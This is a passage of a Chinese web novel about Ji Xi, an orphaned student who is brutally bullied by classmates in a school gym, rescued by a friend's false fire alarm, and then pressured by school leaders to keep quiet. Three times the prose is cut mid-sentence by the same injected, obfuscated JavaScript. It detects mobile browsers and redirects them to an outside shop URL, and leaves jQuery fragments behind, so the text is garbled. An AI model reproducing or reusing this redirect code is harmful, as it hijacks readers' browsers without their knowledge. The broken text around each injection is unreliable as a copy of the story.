这是此时季希心中对程景逸的大致轮廓和印象。 光从外表来看，程景逸玉树临风、文质彬彬，并且有些高冷。 这样的气质为他增色，但也是他的束缚。 季希想，如果她眼里的世界是灰色的沉闷冷色调，那么在程景逸眼里，这个世界必定是五彩缤纷的明丽暖色调。 他就像是文学作品里所描述的少年游侠客，身上带着扶弱济贫的侠气。 如果他生在古代，必定鲜衣怒马，一壶烈酒，一把长刀，游历天涯，扶危济困，仗义行仁。 季希不知道自己在程景逸眼里是什么模样，但是这一刻，她感受到了程景逸蓬勃的生命力。 而她，向往着成为这样的人。 所以，她对着程景逸弯起眉眼，十分认真道：“程景逸，我是季希，很高兴认识你，希望你也一样。” 8. 君本少年游侠客 第二天，晴朗，无雨，也无雪。 季希趁着大课间的时候来到高一（一）班的门口。 进进出出的同学很多，可她没有认识的，观察一阵，也没有找到程景逸。 她准备先回教室，之后有机会碰到他的时候再归还伞。 这时，一位女生拿着水杯沿着走廊走过来，她正要进教室的时候，瞧见季希在门口徘徊的样子，喊住季希，问道：“同学，我看你在这儿站了挺久的，你有什么事情吗？” 季希：“你可以帮我叫一下程景逸吗？” 那女生点头：“好，你稍等。” 然后她走进教室，向教室里侧靠窗的那一列走去。 季希的目光跟随着女生的脚步，终于瞧见程景逸的身影。 原来他坐在那里，刚刚被人挡住了，所以她没有看见。 那女生跟程景逸说了句什么，程景逸扭头看向这边。 季希举起伞对他晃了晃。 程景逸便绕过大半个教室走到走廊上：“季希。” “昨天谢谢你啦。”季希，“我来还伞。” “客气了。”程景逸笑道。 他这一笑，让季希仿佛看见周围的环境都变得光彩熠熠。 程景逸又道：“季希，我们下节课要小测验，我得回去再看会儿书，咱们回见啊。” 少年如一阵风一般，潇洒地来，潇洒地走。 虽然没说上几句话，但是季希仍然很开心，回教室的路上每走一步都像是有人在拨动她的心弦。 原来，心花怒放是这种感觉。 然而这样的好心情并没能持续很久。 傍晚，季希一如既往地在教室上晚自习，有人在教室外喊她：“同学。” 季希抬头，发现是上午帮她喊程景逸的那个女生，便走到教室门口，笑道：“同学你好哇，你刚刚在叫我？” 那女生点头：“对。” 季希：“有什么事情吗？” 女生说道：“程景逸让我来喊一下你，说是在体育馆门口等你。” “程景逸叫我？”季希疑惑，“他找我做什么？” 女生为难道：“我也不知道，我只是传个话。” 季希：“谢谢你。” 女生转身欲走，犹豫了一刻，又回身看向季希，斟酌道：“你忙吗？你要是忙的话不去也可以，赶紧回家吧，我去帮你说一声。” 季希：“没事儿，我收拾一下，待会儿就去。” 女生扭头离开，她走得很快，仿佛身后有谁在追赶她。 *** 季希到体育馆时，体育馆门口并没有人。 此时体育馆的工作人员都已经下班，门口空空荡荡，连门卫都不知道哪里去了。 季希站在台阶上四处张望，突然她两眼一黑，有人拿衣服将她的头蒙住，然后将她往后面拉。 季希能感觉到同时有好几个人在她身边，她惊慌失措，一边努力下蹲，想要定在原地不被拉走，一边疯狂地甩手，竭尽全力地想要挣脱那些人的束缚。 同时她嘴中不断地呼喊着：“救命啊！救命……” 有人在一旁喝到：“堵住她的嘴！” 是个女生。 而且声音非常耳熟。 季希呼喊地更大声了。 希望还有值班人员在，如果有人能听到这边的动静就好了。 “来人呐！快来人！救命！” 她虽然不知道这些人为什么这么对她，但是她求生的意志很强烈。 她必须逃脱。 所以她使出生平最大的力气，一边高升呼救，一边使劲挣扎。 可惜对方人多势众，又有新的人加入进来，几个人一起将她摁倒在地上，想要将什么东西塞进她嘴里。 季希偏开头躲避开，下一秒，她的脸便被人捏住。 她心一横，张嘴狠狠地咬住那只伸过来的手。 那人被咬得生疼，骂道：“你tm属狗的！” 季希的嘴巴死死钉住那人的手指。 这是个女人。 声音也很耳熟。 季希的脑子高速运转，脑海里不断闪现出最近这些天里听到过的印象最深刻的声音。 终于，有那么几道声音和场景与今天逐渐重合…… 她知道了！ 这个被咬的人是寇依宁！ 刚刚发号施令要堵住她的嘴的，则是林晶！ 她们怎么盯上她了！ 猛然回想起刚刚自己被叫过来的理由是程景逸在这里等她。 季希心里一凉。 不会是因为程景逸吧？ 又追忆起刚刚那个传话的女生的表情，季希突然很后悔今天上午去一班找程景逸还伞。 这时旁边有人狠狠地打了季希一巴掌。 季希的脸因为惯性偏向一边，嘴巴不由地松开。 好疼…… 火辣辣地疼。 尤其因为她此时被蒙住了双眼，在什么都看不见的情况下，她脸上的痛感便更加明显。 季希推测，打她的应该也是个女生。 因为那尖锐的指甲划伤了她的脸。 有人将一块抹布塞进她的嘴。 好难闻的味道，好想吐。 “终于老实了。”又一道声音响起，“我劝你不要这么激烈地抵抗，否则吃苦的只会是你自己哦。” 这么矫情做作、嗲声嗲气，季希很容易便辨认出，这是甄安然。 季希被蒙着头，心如死灰。 她终究还是被这些人盯上了。 她踉踉跄跄地被拉着向前走，不知道拐了几道弯，然后被拉着下楼梯，又直走了一段路程，最后被拉进一扇门里。 这一路上，季希不断地挣扎，可是始终没能逃脱。 季希在最后进门的时候，不小心撞在门上。 她发现这是一扇门以后，便死死地扒着门框，不愿意踏进屋内。 她不知道进去之后自己将面临什么。 直觉让她感到恐惧。 可是奈何人微力薄，她依旧被拉了进去。 头上的衣服被拿开，刺目的灯光打在季希的脸上，她微微低头，眯着眼避开那光亮。 待眼睛逐渐适应光线之后，她抬头，这才发现，这里是体育馆负二层的室内游泳馆。 季希尚未完全把这里的情况看清楚，一盆水便被兜头浇了上来。 冰冷刺骨。 她浑身都被浇透。 身后有人将她推倒在地。 “咳咳……”季希被迫趴在地上，满脸都是水。 可是那些人仍然在不断地从泳池里舀水往她身上浇。 寇依宁甚至不知道从哪里牵来一根水管，让人将季希拉起来。 她拿着水管对着季希的脸冲，一边冲一边笑得畅意：“贱骨头，叫你刚刚咬我，你这张狗嘴就应该好好洗一洗！” 水柱打在季希的嘴上、脸上、鼻子上，她被呛地不住咳嗽，可是也只能默默忍受，因为旁边有人将她摁着跪在地上。 已是初冬，季希的校服里面穿着棉衣。 棉衣此时被水浸湿，变得又重又冷，裹在她身上，十分难熬。 林晶拿着一沓资料在看，眼神时不时地瞟向季希，漫不经心地念道：“父亲这一栏，空着的。母亲这一栏，也空着的。监护人，季莉雅，南庐市儿童福利院院长。” “先停一下。”林晶抬手示意寇依宁停住，然后走向季希。 林晶踩着皮靴，一步一步逼近。 季希听着林晶的脚步踏在地面瓷砖上的声音，心跳不断加速，心里升起一股强烈的害怕。 林晶在距离季希一米的地方站定，居高临下地审视着季希，开口带着蔑视：“你是孤儿？” 季希没有回答。 林晶也不生气，只是吩咐旁边的人：“让她开口。” 立马有人上前扇季希的耳光。 几个巴掌下来，季希感觉自己的牙都在疼，整张脸都肿起来了。 “现在愿意说话了吗？”林晶笑得温柔，眼里却没有丝毫情感，“记住，我的问题不问第二遍。” 季希开口，声音都在发颤：“我是。” 林晶：“真可怜。一个没爹没妈的野种。” 她靠近季希，微微俯身，手指用力捏住季希的下巴。 季希被迫仰着脸看向林晶。 这是一个蛇蝎美人。 林晶：“就你现在被打成这样，如此不堪入目，身世背景连给我提鞋都不配，你哪里来的勇气接近程景逸？” 寇依宁在旁边笑：“癞蛤蟆想吃天鹅肉呗。” 甄安然：“也许是程景逸借给她的伞给了她错觉，才让她不自量力的妄想？毕竟，咱们也没见过其他女生用过程景逸的伞啊。” 林晶听到这句话，目光露出狠厉。 她手上添了几分力道，季希感觉下巴都快要被她捏碎。 甄安然唇边勾起得逞的微笑，继续煽风点火：“都是程景逸太善良，这才让她有了可乘之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577959|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机。” “怎么没见程景逸借别人伞呀？”林晶挑眉道，“我看是这个小绿茶太有心机了。可惜，在我面前，你就别装了。脸肿成这样，还学别人玩装柔弱，你可别丑到我的眼睛。把你那幅可怜兮兮的表情给我收起来。” 林晶将复印的季希的档案扔在季希面前，拍打季希的脸，用最轻的声音说着最蔑视的话语：“季希，今天我就想让你明白一点，你和程景逸之间，你和我们之间，是天壤之别。” “这其间的差距犹如天堑鸿沟，不是你靠读书就能够填平的。“ “所以，你就安心待在你的最底层就好了，不要总想着像只苍蝇一样飞到我们的世界里来。” 季希总算明白自己为什么会被针对了。 前段时间隐约听说林晶改变目标，不再喜欢凌舟了。 原来，林晶现在的目标对象是程景逸。 看样子，程景逸的背景也不简单。 可惜她两耳不闻窗外事太久，没太在意这些八卦，没想到就这样莫名其妙地惹到了林晶。 “为了不被我拍死，你这只没爹没妈的小虫子，现在知道该怎么办了吗？”林晶说到这里，自己先笑了起来，“你还别说，就你现在这鼻青脸肿的模样，还真是挺像癞蛤蟆，哈哈哈哈……” 周围人也都跟着笑起来。 季希难堪地低下头。 林晶拍着季希的脸，不耐道：“说话，小癞蛤蟆。” “或者，也许你更喜欢小虫子这个称呼？” “反正都挺配你的。” 季希不愿意抬头去看那些嘲笑讽刺的目光，她只想低着头，隔绝那些人投向她的不怀好意的视线。 林晶翻了一个白眼。 她起身退开，一挥手，旁边便有人上前对季希拳打脚踢。 这回不光是打脸，还打胳膊，踹背，敲脑袋。 这一番动作过后，季希趴在地上，奄奄一息。 林晶抱着胸冷冷道：“现在知道以后应该怎么做了吗？” 季希被人从地上拉起。 此时她连站都有些站不稳。 她明白，如果她不给出一个回应，林晶能让人今天在这里把她打死。 这一刻，她诡异地读懂了林晶眼底对他人生命的蔑视。 也许在林晶的眼中，她真的和蚂蚁没什么区别。 季希撑着一口气，虚弱地回答道：“知，道。” 林晶抬起手抚了一下自己的耳朵：“大声一点，我听不见。” 季希忍着泪意，提高音量：“知道了！” 林晶勾起唇角，欣赏起自己腕间的玉镯，漫不经心道：“那你说说，你具体应该怎么做。” 季希闭上眼睛，掩去眼底的泪：“远离程景逸，不再去一班，不再出现在你们面前，不要碍你们的眼。” 林晶脸上露出微笑的微笑：“早这么乖不就好了。” “小虫子，希望你记住你今天的话。你要知道，我弄死你，就跟拍死一只惹人厌烦的苍蝇或者踩死一只无人在意的蚂蚁一样简单。” “你这种出身的人，脑子本来就不聪明，这是基因问题，没办法强求。所以你会做出之前那样痴心妄想、不自量力的举动，我也能理解。”林晶加重语气，强调道，“但是有一个道理，相信你经过今天，肯定能学会：那就是人要有自知之明，还要识时务。” “既然是地上的尘埃，就不要妄想天上的太阳，你明白吗？” 季希：“明白。” “看在你态度还不错的份上，今天就放过你。”林晶满意地点点头。 寇依宁不甘心：“晶姐，你就这样放过这个小贱骨头了？” 甄安然眼里闪过一丝阴狠：“就是，这未免也太便宜她了。” 林晶无所谓道：“那你们觉得还要怎么办？” 甄安然眼珠一转，说道：“晶姐，你今天穿的这双小皮靴质感真好，可惜在这泳池边上都被水弄湿了，让她给你舔干净呗？” “一只小虫子或者一只癞蛤蟆都不值得我继续在她身上浪费时间。”林晶，“更何况，我还嫌她的口水脏呢。” 甄安然：“那就让她用脸擦，用手擦，用衣服擦，总之，让她给晶姐你擦鞋。” 林晶想到这个动作所带的折辱意味，点点头：“也好，那就擦吧。” 寇依宁对季希骂道：“耳朵聋了吗？没听见晶姐让你给她擦鞋？” 季希明白她们的意思，她们今天就是要将她的脊梁彻底折弯，以后她就永远低她们一等。 9. 君本少年游侠客 正当所有人都注视着季希，逼迫着她给林晶擦鞋时，体育馆内突然响起响亮的警报器的声响。 “请注意，请注意，现在本场所内发生了紧急情况，请您从最近的疏散通道有序撤离。”机械女声从广播中传出。 “坏了，这是消防应急广播，发生火灾了，大家快走。”林晶皱起眉头，说完这句话，她转身就走，再也不管身后还跪着的季希了。 其他人也都很慌张，跟着林晶向外撤离。 原本押着季希的人也将她往地上一扔，紧随着大部队逃命去了。 只剩下一息尚存的季希匍匐在满是冰水的砖面上垂垂等死。 季希听着火灾警报的声音，自嘲着牵起嘴角，眼底的生机一点点黯淡下来。 也好，她没有依靠，也就没有牵挂。 她这般无挂无碍的人，在这世间就是最轻的一根鸿毛。 就这样死在这里，大火一烧，化作一堆灰烬，倒也还算干净。 也免得如今这副狼狈不堪的模样，丑到来拘她魂魄的黑白无常。 然而就在季希即将完全闭上眼睛、失去意识的时候，有人将她扶起，在她耳边轻唤：“季希，季希，你快醒一醒，千万别睡过去。” “季希……” “季希……” 这是季希第一次觉得，她的名字还挺好听的。 *** 市一中的值班人员听到声响很快赶到体育馆。 没想到消防人员来得也很快，几乎和他们同时到达。 “你好，我是江秀区消防站支队队长，邱浩。”高大魁梧的青年穿着消防服从消防车上跳下来，“我们接到报警电话，称市一中体育馆发生火灾，现在具体是什么情况？” “邱队长你好，我们也是听到警报声赶过来，具体情况还不知道。”学校值班的工作人员也一脸纳闷，“按道理，这个时间点学校的学生都已经回家了，体育馆内也没有人，所以目前尚不知道为何火灾自动报警系统会响。” “没有在现场看见浓烟，我们需要进去查探，其他所有人都不要靠近。”邱浩严肃道。 警戒线很快拉起，邱浩带着队员进入体育馆，在负一层恰好遇见逃出来的林晶、甄安然、寇依宁以及她们的小喽啰。 一群人慌慌张张的样子十分可疑。 邱浩问道：“起火位置在哪里？” 寇依宁回答：“我们也不知道，听到警报声后我们就立刻向外跑。” 邱浩的眼神十分凌厉：“这么晚了，你们为什么不回家，而是聚众在体育馆？是你们中谁报的火警吗？” 一群人互相张望，却没有人能说出个所以然。 邱浩从身后点出几个队员说道：“你们送他们上去，在事情调查清楚之前，先不要让他们中有任何人离开。” 实际上，邱浩怀疑火灾跟这群学生脱不了干系。 “里面还有人吗？”在放这些学生离开负一层之前，邱浩问道。 林晶在众人开口前抢先道：“没了吧，应该就我们。” 众人忙附和。 邱浩点头：“行，你们先上去。” 待这些人被带离这里后，邱浩对队员说道：“这群人里面明显有好些人神色慌张，这场火灾必定有蹊跷。” “所有人，一定要多加小心，仔细搜寻，不要放过任何角落。” “这体育馆内，怕是还有学生被困。” *** 季希听到有人不断地在耳边呼唤。 她努力地撑开沉重的眼皮。 映入眼帘的是一张充满担忧和焦急的艳丽面庞。 竟然是吴焕晗。 “是你呀。”季希想对这个关键时刻来救她的女孩子笑。 可是她一牵动嘴角，脸部肌肉就开始泛疼，最后只得作罢。 “是我呀，你还以为是谁？我看到林晶她们一群人浩浩荡荡地杀到体育馆，就猜到没好事。”吴焕晗鼻子发酸，“幸亏我来了。” 她小心翼翼地将季希搀扶起来，让季希靠在自己肩膀上，坚定道：“走，我带你离开这里。” 季希艰难地跟着吴焕晗的脚步。 她浑身都好疼。 但是她一声没吭。 她只是咬着牙，借着吴焕晗架着她的力道努力向前走着。 如果有机会，她还是想活着的。 两人刚走出游泳馆，正要往楼梯的方向走去，便听到一大群人的脚步声。 季希握住吴焕晗的手，眼里盛满了害怕，但是她仍说道：“焕晗，她们有可能回来了。你别管我了，快跑，千万别被她们抓住了。” “快走！”季希挣脱出吴焕晗的怀里，靠着墙稳住身子，用仅存的力气推吴焕晗走。 吴焕晗低声道：“你放心，不是她们，肯定是消防员来了。” 季希疑惑：“你怎么知道？” 吴焕晗冷笑：“因为是我报的火警。” “队长，那边还有学生！” 前方拐角处忽地闯入一个穿着制服的人，他的呼喊打断了两人的对话。 邱浩等人听到队员的呼喊声，迅速聚集过来。 季希和吴焕晗两人就这样被他们发现。 见到季希这幅受伤的模样，有年轻队员问道：“是哪里起火了？” 旁边一个队员拍了他一下，小声道：“你闭嘴，这明显不是烧伤啊。” 吴焕晗这张脸长得实在让人印象深刻，邱浩一眼就认出她来。 这是几个月前在他家巷子口遭遇校园霸凌的那个女生。 有了对当时场景的回忆，当邱浩将目光落在季希的脸上时，他很容易就记起，这是当时被吓得躲在暗处的那个姑娘。 这时，邱浩猛然意识到，刚刚下来搜寻时遇见的那群学生里，似乎也有几张面熟的脸。 将那几张脸和几个月前那天晚上的霸凌者的脸比对起来，再联系上这个女孩儿满脸满身的伤以及此时的惨状。 这么冷的天，她浑身湿透了，头发还滴着水。 邱浩一下子就把现在的局面和几个月前那天晚上的场景给对上了。 现在的学生，一个一个可真是猖狂。 这么能折腾，不简单呀。 邱浩看向两人：“是你们报的火警？” 吴焕晗盯着邱浩的脸，总觉得有些眼熟，但是又实在是没想起来在哪里见过他。 她思索片刻，还是决定实话实说：“是我报的火警。” 有队员着急问道：“具体的着火地点在哪里？可还有被困人员？” 吴焕晗指着走廊尽头：“着火地点在那边的女卫生间，着火原因是我烧了几本书，火灾自动报警系统响了之后我就把火灭掉了。” 她的话音刚落，邱浩做出一个手势，立刻有几位消防员朝着她说的地点跑去，进行查探。 邱浩沉声道：“为什么这么做？” 吴焕晗低着头落泪：“各位叔叔，各位大哥，实在对不起，我同学被打成这样，她有生命危险，可我一个人难以解救她，情急之下只能想到这种方法让她摆脱被打死的命运。” 她抬起脸庞看着大家，泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577960|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼盈盈道：“对不起，是我对不起大家，任何处罚我都接受。” “可是现在可以请各位叔叔大哥帮帮我们吗？想必你们刚刚看到了一群跑出去的学生，她们就是要将我这个同学打死的元凶。” “我们人微言轻，毫无背景，难以与他们抗衡，恳请各位消防员叔叔为我们伸张正义，主持公道！” 吴焕晗这一番话说的让消防队里的几个年轻人群情激愤，都说让两人千万别怕，他们会帮忙的。 而几个年龄稍大一点的消防员则都是一脸凝重。 这时，刚刚去卫生间查看情况的几位消防员回来报告情况，称火源确实都已经被灭掉，他们也都再次进行了处理。 邱浩看着两个女生：“你们为什么不直接报警？” 吴焕晗在季希开口前轻轻捏了一下她的手腕。 季希便闭上了嘴巴。 吴焕晗道：“您进入社会这么久，这一点，想必您比我清楚。” “要不然，请您替我们报个警，等警察来了，一切自然也就见分晓了。” 邱浩沉吟片刻，跟旁边一个队员说道：“报警。” 然后他又看向吴焕晗两人，面色冷肃：“你们这件事情比较复杂，具体有什么处罚，待整件事情调查清楚再下定论。” *** 体育馆一层。 林晶站在人群中，想要偷偷溜走，奈何那几个消防员都是死脑筋，任她怎么说，就是不放她离开。 后来消防员将季希也带了回来。 林晶虽不愿意让人发现季希，但是火灾突然发生，消防员来得也很迅速，这也是没有办法的事情，她不接受也得接受。 可让她万万没有想到的是，和季希一起从负二楼被救上来的，竟然还有吴焕晗。 更让林晶感到惊诧的是，没过多久，江秀区的警察来了。 意识到这件事情有可能会闹大，为了防止局面变得不可收拾，林晶趁着没人注意时，连忙给父母发信息简要说明情况。 收到父亲的一条短信，上面写着“勿虑”，林晶这才放下心来，心中有了底气。 紧接着，市一中的校领导也来了。 值班的工作人员连忙上前打招呼：“常书记，江校长。” 学生里面也有人和两位领导打招呼。 季希懵懵地跟着众人一起和校领导问好：“常书记好，江校长好。” 她第一次这么近距离见到比班主任、年级主任还要高级别的校领导，一时间有些不知所措，慌张都写在脸上。 而且他们也算是她的老师诶，从小被院长妈妈教导的尊师重道刻在季希的骨子里，于是她恭恭敬敬地对两位校领导问好。 吴焕晗在旁边拉了拉她，小声道：“季希，收起你脸上的笑，让别人看见像什么样子。还以为你是那种谄媚小人呢！” 季希十分茫然，讷讷道：“我没见过这种场面，不知道该怎么办……” 两个人小声交流着。 另一边，常道然看见林晶，笑得十分和蔼亲切：“晶晶，你怎么也在这儿？你爸爸妈妈还在家里等你吃饭呢，快回家去。” 江岸貌的语气也十分熟稔：“晶晶，快回家去，这些事儿可不是你这种好孩子该掺和的。” 林晶表现出一副知书达礼的懂事模样，得体地笑道：“常伯伯，江伯伯，真是不好意思，都是学生不懂事，这么点小事儿还把您们从家里闹来，打扰您们休息了。” 然后她撒娇道：“有您二位坐镇，相信事情肯定很快便能解决，那我就先回家啦。” 10. 君本少年游侠客 说着，林晶便打算离开这个是非之地。 但消防员拦着警戒线，不给她让路。 常道然于是看向那群消防员：“谁是你们的负责人？” 邱浩站出来道：“常书记，江校长，你们好。” “我是江秀区消防站支队队长邱浩。” “在火灾缘由还没有查清楚之前，任何人不得擅自离开。” “是吗？”常道然冷着一张脸，问旁边的学校工作人员，“这里究竟发生了什么不得了的大事？怎么闹得这么大？又是叫火警，又是叫警察？” 江岸貌点头道：“常书记说得有理，闹成这样不可开交，咱们一中的名声还要不要了？到底是谁报的警？” 谁也没想到，常书记和江校长来了之后，一不关心火灾发生后是否有人员伤亡，二不关心校园霸凌事件中受害学生的身心状况。 他们除了想将相熟的、有背景的学生摘出来以外，唯一关心的就是学校的声誉、他们自己的官途、以及究竟谁是将这天捅出了这么大一个窟窿的罪魁祸首。 不，也许还是有一些人想到的。 比如此刻，火警中那些年长一些的队员，学校的值班人员，他们都一脸果不其然，一脸本该如此。 吴焕晗斜睨了邱浩一眼。 仿佛在回答他之前的问题——为什么她们不直接报警。 邱浩再一次站出来：“常书记，江校长，警察是我们消防队叫的。” 常道然面无表情道：“哦，这是为什么？” 邱浩：“我们发现这场火灾发生的原因十分复杂，其中掺杂着一桩校园霸凌案。” “这不属于我们火警处理的职权范围，只好请专业的人来做专业的事情，警察管这件事，再合适不过。” 江岸貌有些不快，他说道：“邱队长，在学校里发生的任何事情，都应该先向学校汇报，再由学校决定报不报警。” “学校如果能内部解决，又何必如此兴师动众呢？” “说严重一点，这是占用社会公共资源。” “警察同志都是有重要工作的人，哪里有时间和精力来管你这些鸡毛蒜皮的小事情？” “你把这些事情交给我们学校内部即可。” 邱浩不卑不亢道：“被害人有权向公安机关报案，报案是每个公民的基本权利。这恐怕不能由您来决定。” 身后有老队员拽了邱浩的袖子一下，邱浩这才没有继续说下去。 常道然微笑起来，这才正儿八经地打量邱浩几眼：“让我看看，这位邱队长真是位好同志。你说得有理呀，既然这样，就让被害人出来，好好说说到底是受到了什么迫害，值得闹这般大的动静。” “常书记，”江岸貌，“先等一等，我想问一下邱队长，火灾的缘由你们是否已经查清楚，是否造成人员伤亡？” 邱浩有些为难。 照实说的话对受害者不利，可不照实说的话，这么多双眼睛盯着呢，也不可能。 最后他只得道：“江校长放心，火灾没有造成人员伤亡。至于火灾的缘由，这牵扯到了校园霸凌。所以要想调查清楚火灾缘由，还是应该先调查校园霸凌事件。” 江岸貌：“既然如此，之后就都是我们市一中的家务事了，还请各位消防员同志和警察同志先回吧，之后我们会给你们一个交代的。” 按理说江校长这道逐客令下的已经很直白了，邱浩实在没有理由继续呆在这里，他有些无奈地看了吴焕晗一眼。 不好意思，他只能帮到这里了。 吴焕晗有些心灰意冷，今天晚上闹这么大，还是没有办法回击林晶那些人吗？ 一旦外部力量撤出，这内部解决多半也就不了了之了。 甚至极有可能刽子手毫发无损，而她们这些将事情公之于众的人反而会受到处分。 吴焕晗万分不甘心。 好在这次江秀区文宫街派出所派来的两个民警中，其中一个姓孟，稍微年长一些，另一个姓白，则是一个初出茅庐的新警员。 年轻人最是急公好义，热血沸腾。 白警员眼见自己来了却毫无用武之地，甚至马上就要被人赶走、打道回府，他连忙道：“人民警察对公民的报警必须及时处理，你们不能让我们违反规定，陷我们于不义。所以我们必须对这个霸凌案进行侦查。” “既然如此，警察同志，就让我们一起来问一问受害人。”江岸貌扫视人群，问道，“受害的那位同学如今在哪里？” 邱浩指着吴焕晗两人说道：“在这里。” 吴焕晗扶着季希向前走了几步。 季希艰难地尽量站直，头发还在滴着水。 这时，学校领导、工作人员、警察等一干人等这才注意到，受害人原来一直就站在他们眼皮底下。 常道然和蔼道：“两位同学，你们谁是苦主呀？” 季希也不愿意一直躲在吴焕晗的身后，她虚弱开口：“是我。” 实际上，季希早就应该去医院赶紧进行治疗，但她心里还期待着学校的老师能还她一个公道，所以她在努力强撑着。 常道然一边上下打量她，一边问道：“你叫什么名字？” 季希努力让自己表现得落落大方、不怯场。 她直视常书记的眼睛，回答道：“我叫季希。” 常道然：“嗯，你遇到了什么事情？为什么一定要闹成这样？” 吴焕晗听到这句话，怒气直直地冲上脑门。 季希现在被打成这副模样，有眼睛的人都能看到。 偏这些校领导惯会睁着眼睛说瞎话。 骂他们是瞎眼狗都是侮辱狗狗了。 眼盲心瞎，不作为，都是什么东西！ 而且，闹？ 为什么要将维护自己的正当权利称之为“闹”？ 难道受害者在刽子手面前就应该跪着引颈受戮吗？ 难道弱者在恶势力的威胁之下就应该低着头挨打吗？ 那她可真是希望有朝一日这些道貌岸然、站着说话不腰疼、高高在上的人能有机会见识见识什么叫做真正的闹。 吴焕晗在心里把校领导骂了个狗血淋头。 而季希显然也被气到了。 但她嘴笨，受了气也只能往肚子里咽。 原来这些老师们并不是来伸张正义的。 现在她是需要被老师解决的“刺头”。 昔日老师这一职业在季希心中高大伟岸的形象，这一刻开始土崩瓦解。 她的世界观受到了极大的冲击，有一些动摇。 季希深吸一口气，让自己冷静下来，缓缓讲起事情的经过：“书记您好，我今天傍晚放学的时候被人诓骗到体育馆门口，然后被人蒙住眼睛胁迫到了负二层游泳馆。” 她抬起手，指向了一直站在最后方的那群人：“她们，对我进行了很长时间的打骂、侮辱和人身威胁，对我扇巴掌、拳打脚踢，并且不断往我身上浇水。如果不是消防员叔叔们来了，我兴许今晚就被她们打死了。” 常道然看见人群中有几张面孔，这些人的父母是万万不能得罪的。 他想把她们几个摘干净。 “我们也不能一杆子打死。”常道然轻咳一声，“对你动手的具体有哪些人，你一个一个指出来。” 季希：“我不敢过去。” 年轻的白警员站出来说道：“我带你过去指认。” 他旁边那位年长的孟警员接到常道然的眼神暗示，连忙出来拦住他：“还是我带这位同学去吧。” 于是季希跟在孟警员身后走向那群人，然后说道：“对我动手的有林晶、寇依宁、甄安然以及她、她、她……” 这里面有许多人季希根本就不知道名字，但是她都记得这些人的嘴脸，所以她一个一个指认，不漏过一个。 但也真是可笑，明明都是些和她素不相识的人，竟然也都助纣为虐地欺负她。 季希想不明白。 而这些人立马开始喊冤。 寇依宁平日里最是嚣张，此刻却扮起了柔弱：“警察叔叔，我们在游泳馆玩得好好的，她死乞白赖地非要凑上来和我们一起玩。” “我们看她可怜就带上她一起玩，没想到她却倒打一耙，把玩水说成是霸凌。” “我们都是好人家的好孩子，怎么能让她这样随意诋毁呢……” 说着，也露出一副委屈的模样。 甄安然适时地补刀，信口雌黄：“对呀，季希这个人就是人品不好。我之前听别的同学提起过，还有些不相信。今天算是真的见识到了。” 林晶对着季希，满脸痛心道：“季希，没想到你是这样的人，我们待你的一片真心真是喂狗了……” 她们身后的同学也跟着附和，一起说季希的人品有多么不好，性格有多么孤僻、难以接触。 白警员在旁边听着，立马道：“既然双方各执一词，那就直接去调监控。” 学校的值班人员这时说道：“警察同志，我们刚刚一来就去调监控了，只是体育馆的监控系统在今天傍晚六点之后不知道为何就已经被关掉了……所以整件事情的经过并没有被监控记录下来。” 白警员：“肯定是有人故意关掉监控，要查……” 他的话还没说完，便被孟警员插话拦住。 只见孟警员看着季希，面上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577961|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出了不赞同和责怪。 他道：“这位同学，你看，大家都觉得是你有问题，你有没有想过，也许真的是你自己做人有问题？” “如果是一个人两个人，这我们都能理解。” “可是这么多人，大家都众口一辞。” “是不是你平常确实很多地方做的不好，所以才让大家如此不喜欢你？” “可能不是别人针对你，而是你真的有问题？” 吴焕晗有心说两句话，但是她是报火警的人，这时候站出来说话，万一被校领导追问出来，两个人都得折在这里。 她在心里干着急，却是不敢说话。 季希，你支棱起来呀。 季希被这番话说懵了。 她确实是两耳不闻窗外事，一心只读圣贤书。 只可惜她太笨了，这么专心读书成绩都还很是一般。 她也确实没有太多朋友，交际圈也很小…… 所以她做人真的有问题是吗？ 季希罔知所措。 江岸貌这时插话道：“警察同志，这毕竟是我们学校的学生，还是让我来问吧。” 他藏起眼中的轻蔑，面上表现得很随和：“小季同志呀，你是哪里人？” 季希微笑：“我是本地人。” 江岸貌：“你父母是做什么的？” 季希低头：“我是个孤儿。” 江岸貌：“那你现在住在哪里？” 季希低声道：“我住在儿童福利院。” 江岸貌轻叹，他拍拍季希的肩膀：“可怜的孩子。” “孩子，你看啊，你能走到今天这一步多不容易。” “一步一步地努力读书，你为的是什么？” “你现在最重要的任务是好好准备高考，以后考个好大学，然后找到好工作，这样才能够在社会上立足。” “你之前付出了那么多，你想现在功亏一篑吗？” 季希抬头看向江校长，摇摇头。 她不想。 